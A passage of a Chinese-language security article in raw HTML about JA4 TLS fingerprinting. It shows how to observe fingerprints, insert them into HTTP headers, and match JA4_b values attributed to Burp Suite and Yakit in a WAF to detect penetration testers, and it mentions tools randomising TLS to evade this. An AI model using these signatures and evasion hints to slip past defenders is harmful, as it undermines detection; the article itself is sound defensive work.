Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">是一个互联网侦听器，用于识别互联网中的扫描器，并将</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4+ </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹应用到他们的产品中。他们发现了一个威胁行为者，他使用不断变化的单个</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">密码套件</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">(cipher) </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">扫描互联网。这会生成大量完全不同的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA3 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹，但对于</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">，只有</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹的</span></span><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> </span><i style="mso-bidi-font-style:normal;"><span lang="EN-US"><span leaf="">b</span></span></i></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">部分发生变化，</span></span><i style="mso-bidi-font-style:normal;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">a</span></span></i><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">部分和</span></span><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> </span><i style="mso-bidi-font-style:normal;"><span lang="EN-US"><span leaf="">c</span></span></i></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">部分保持不变。因此，</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">GreyNoise </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">可以通过查看</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4_ac </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹（拼接</span></span><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:
DengXian;"><span leaf=""> </span><i style="mso-bidi-font-style:normal;"><span lang="EN-US"><span leaf="">a+c</span></span></i></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">，丢弃</span></span><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> </span><i style="mso-bidi-font-style:normal;"><span lang="EN-US"><span leaf="">b</span></span></i></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">）来追踪这个狡猾的威胁行为者。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 18pt;font-family: Arial, sans-serif;"><span leaf="">3 </span></span></b><span style="mso-bookmark:
heading_5;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 18pt;"><span leaf="">观测</span></span></b></span><span style="mso-bookmark:heading_5;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 18pt;font-family: Arial, sans-serif;"><span leaf=""> JA4 </span></span></b></span><span style="mso-bookmark:heading_5;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 18pt;"><span leaf="">指纹</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 16pt;font-family: Arial, sans-serif;"><span leaf="">3.1 </span></span></b><span style="mso-bookmark:
heading_6;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 16pt;"><span leaf="">方式一：基于</span></span></b></span><span style="mso-bookmark:heading_6;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 16pt;font-family: Arial, sans-serif;"><span leaf=""> Wireshark</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">使用过滤器</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> tls.handshake </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">过滤</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> TLS </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">握手流量观察即可。高版本</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Wireshark </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">原生支持</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA3/JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹，低版本</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Wireshark </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">可以考虑安装插件。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://github.com/fullylegit/ja3" target="_blank">https://github.com/fullylegit/ja3</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://github.com/FoxIO-LLC/JA4/tree/main/wireshark" target="_blank">https://github.com/FoxIO-LLC/JA4/tree/main/wireshark</a></span></span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000327" class="rich_pages wxw-img" data-ratio="0.6714975845410628" data-s="300,640" data-type="png" data-w="828" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=0e88fba0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKfQQ7vPNnP9p3iaDWoc27DjfWDZ0ZWeNXCDAZYvOxeaicrbdEpArtcRgAR2YZz4vVPHwXZTJE3D3qDA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><br/></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-no-proof:yes;"><span leaf=""><br/></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 16pt;font-family: Arial, sans-serif;"><span leaf="">3.2 </span></span></b><span style="mso-bookmark:
heading_7;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 16pt;"><span leaf="">方式二：基于现有网站工具</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://tls.browserleaks.com/json" target="_blank">https://tls.browserleaks.com/json</a></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><a href="https://ja4db.com/" target="_blank">https://ja4db.com/</a></span></span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000328" class="rich_pages wxw-img" data-ratio="0.18840579710144928" data-s="300,640" data-type="png" data-w="828" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=611ff6c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKfQQ7vPNnP9p3iaDWoc27Djfdbr5Zl3yObx2VGQaLjMtjyzRuicVZBWkCN9KgJficic63CmXicYJgX4DXA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><br/></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-no-proof:yes;"><span leaf=""><br/></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 18pt;font-family: Arial, sans-serif;"><span leaf="">4 </span></span></b><span style="mso-bookmark:
heading_8;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 18pt;"><span leaf="">指纹落地应用</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 16pt;font-family: Arial, sans-serif;"><span leaf="">4.1 </span></span></b><span style="mso-bookmark:
heading_9;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 16pt;"><span leaf="">监测渗透测试人员的一个思路</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">处于合规考虑，这里省略如何在负载设备加载插件或者使用</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> nginx </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">等插件去把</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">的指纹头插入</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> http header </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">报文中。在生产环境中应用</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹仍然需要考虑诸多实际的问题，尤其是指纹计算的性能开销。根据</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">Cloudflare </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">的一篇博客，他们重新用</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">rust </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">实现了</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">ClientHello </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">解析器，其基准测试结果表明，解析器可以有效地处理不同大小的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">ClientHello </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">消息，较短的消息以每秒约</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">200 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">万个元素的速度处理，较长的消息以每秒约</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">100 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">万个元素的速度处理</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">,</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">这大概意味着启用</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹后每个</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> TLS </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">握手请求会额外增加</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> 1-2 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">微秒（</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">μs</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">）量级的开销。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">这里展示最后实现的效果，如图下所示：</span></span><span lang="EN-US"><o:p></o:p></span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000329" class="rich_pages wxw-img" data-ratio="0.5217391304347826" data-s="300,640" data-type="png" data-w="828" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=f0c3ca30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKfQQ7vPNnP9p3iaDWoc27Djf22KSj8KO3IE2xXPnbHxDK5Gbbzapbw5zBBnQXZADGCicn4mJsQnspgg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-no-proof:yes;"><span leaf=""><br/></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">在</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> header </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">中增加</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> X-JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">字段后，那么在我们基础安全眼里这个可操作性就会多了很多。可以在</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">WAF</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">侧、流量侧去匹配相关特征。我们收集了部分</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> burp suite </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹样本做了部分分析</span></span><span lang="EN-US"><o:p></o:p></span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000330" class="rich_pages wxw-img" data-ratio="0.7898550724637681" data-s="300,640" data-type="png" data-w="828" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=1b87f266&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKfQQ7vPNnP9p3iaDWoc27Djf25c9Gn9YsJfibnslaq2z5TQNibJd1whCaqmAE3ibia1vz3YojZbcDseG0g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-no-proof:yes;"><span leaf=""><br/></span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">同样的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> yakit </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">最新版，在未开启随机</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">的状态下他的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4_b</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">段的值默认为：</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""><br/></span><span leaf="">6987dae9cdc4</span><span leaf=""><br/></span><span leaf=""><br/></span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">这样我们就得出一部分</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">burp</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">和</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">yakit</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">的</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4_b </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">特征值：</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">burp</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">bc01e4e2260a </span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">bd868743f55c </span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">5e02f30799ee</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">yakit</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">：</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">6987dae9cdc4</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">将该系列值插入到</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> WAF </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">和</span></span><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:
DengXian;"><span leaf=""> </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">流量设备中纳入到监测之后，那么，在往后的日子里，我可以选择是否开启封禁去阻断默认值的访问，同时</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">CDN</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">侧也可以基于</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA3/JA4 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">特征去把相关风险特征去做拦截，这里不一一赘述。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 16pt;font-family: Arial, sans-serif;"><span leaf="">4.2 </span></span></b><span style="mso-bookmark:
heading_10;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 16pt;"><span leaf="">集体智能视角下的</span></span></b></span><span style="mso-bookmark:heading_10;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 16pt;font-family: Arial, sans-serif;"><span leaf=""> JA4</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">根据前文的描述，有经验的工程师不难想到：</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">这类指纹在爬虫检测（</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">bot detection</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">）视角看，其计算机制难以区分</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Headless Chrome </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">与普通浏览器用户，作用相对平庸，或许只能作为一个低权重的观测因子；在威胁行为者检测（</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">threat actor detection</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">）</span></span><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">视角看，价值相对更大一些。但近年来，黑客工具的厂商也在</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">层指纹进行持续对抗，比如</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">Yakit </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">引入了</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">&#34;</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">随机</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
